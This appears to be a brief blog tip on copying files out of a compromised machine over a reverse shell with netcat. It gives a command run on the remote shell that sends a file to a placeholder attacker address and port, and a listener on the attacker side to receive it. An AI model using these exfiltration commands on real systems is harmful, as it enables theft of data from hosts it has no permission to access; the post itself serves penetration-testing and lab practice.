Downloading files from reverse shells using netcat

Downloading files from reverse shells using netcat

Banner source: https://www.newyorker.com/culture/onward-and-upward-in-the-garden/the-lost-art-of-stealing-fruit

It's very common that I'm working with a reverse shell and can't use scp to upload or download files, which leads me to Googling this netcat syntax. Well, no more!

On the remote shell:

~ nc -w 3 ATTACKER_IP ATTACKER_PORT < [file_to_download]

Note that -w 3 sets a 3-second timeout for this operation.

Then, on the attacker machine:

~ nc -l ATTACKER_PORT > [output_file_path]

Thanks folks!